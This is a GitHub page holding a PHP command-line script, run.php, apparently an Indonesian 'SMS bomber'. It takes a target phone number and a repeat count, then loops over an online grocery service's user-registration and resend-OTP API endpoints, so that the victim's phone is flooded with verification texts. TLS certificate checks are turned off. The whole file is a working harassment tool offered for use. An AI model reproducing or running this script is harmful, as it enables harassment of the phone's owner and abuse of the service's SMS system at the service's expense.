-
Notifications
You must be signed in to change notification settings - Fork 0
/
run.php
93 lines (73 loc) · 2.77 KB
/
run.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<?php
//error_reporting(E_ALL);
date_default_timezone_set('Asia/Jakarta');
echo "\e[96m + ==================+\e[0m\n";
echo "\e[33m NGEHEK SMS ALLOPERATOR\e[0m\e[0m \n";
echo "\e[33m Create : Icannnnart \e[0m\e[0m\e[0m\n";
echo "\e[33m HAJAR BANG SELAGI NO LIMIT AKWOKAOWKAO \e[0m\n";
echo "\e[96m + ===================+\e[0m\n";
echo "\e[0;33m [+] Masuki Nomerya [example : 85155111111]\e[0m: ";
$nomernya = trim(fgets(STDIN));
echo "\e[96m [?] Jumlah \e[0m: ";
$jmlh = trim(fgets(STDIN));
$i = 0;
$urls = "https://api.pasarnow.com/api/registerPasarnowUser";
while($i < $jmlh) {
$curl = curl_init($urls);
curl_setopt($curl, CURLOPT_URL, $urls);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$headerss = array(
"Content-Type: application/json",
);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headerss);
$dataa = '{"first_name":"ucuo","last_name":"ucup","gender":"male","dob":"2000-01-20T14:25:42.068+07:00","mobile_phone":"+628'.$nomernya.'","referrer_mobile_phone":"","mitra_suffix":"","password":"Qwerty","confirm_password":"Qwerty"}';
curl_setopt($curl, CURLOPT_POSTFIELDS, $dataa);
//for debug only!
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
$resp = curl_exec($curl);
curl_close($curl);
if(strpos($resp,"Nomor sudah terdaftar!")){
$url = "https://api.pasarnow.com/api/resendOTPCode";
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$headers = array(
"Content-Type: application/json",
);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
$data = '{"mobile_phone":"+62'.$nomernya.'"}';
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
//for debug only!
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
$resp = curl_exec($curl);
curl_close($curl);
echo "\e[33m [ SUKSES NGEHEK ]\e[0m\n" .PHP_EOL;
}elseif(strpos($resp,"Successfully created account and sent activation code")){
echo "\e[33m\n [ OTW ngehek ]\e[0m\n" .PHP_EOL;
$url = "https://api.pasarnow.com/api/resendOTPCode";
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$headers = array(
"Content-Type: application/json",
);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
$data = '{"mobile_phone":"+62'.$nomernya.'"}';
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
//for debug only!
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
$resp = curl_exec($curl);
curl_close($curl);
echo "\e[33m [ SUKSES NGEHEK ]\e[0m\n" .PHP_EOL;
}else{
echo "\e[91m [ GAGAL ]\e[0m\n".PHP_EOL;
}
$i++;
}
echo "\e[33mANYJAY NGEHEK\e[0m\n";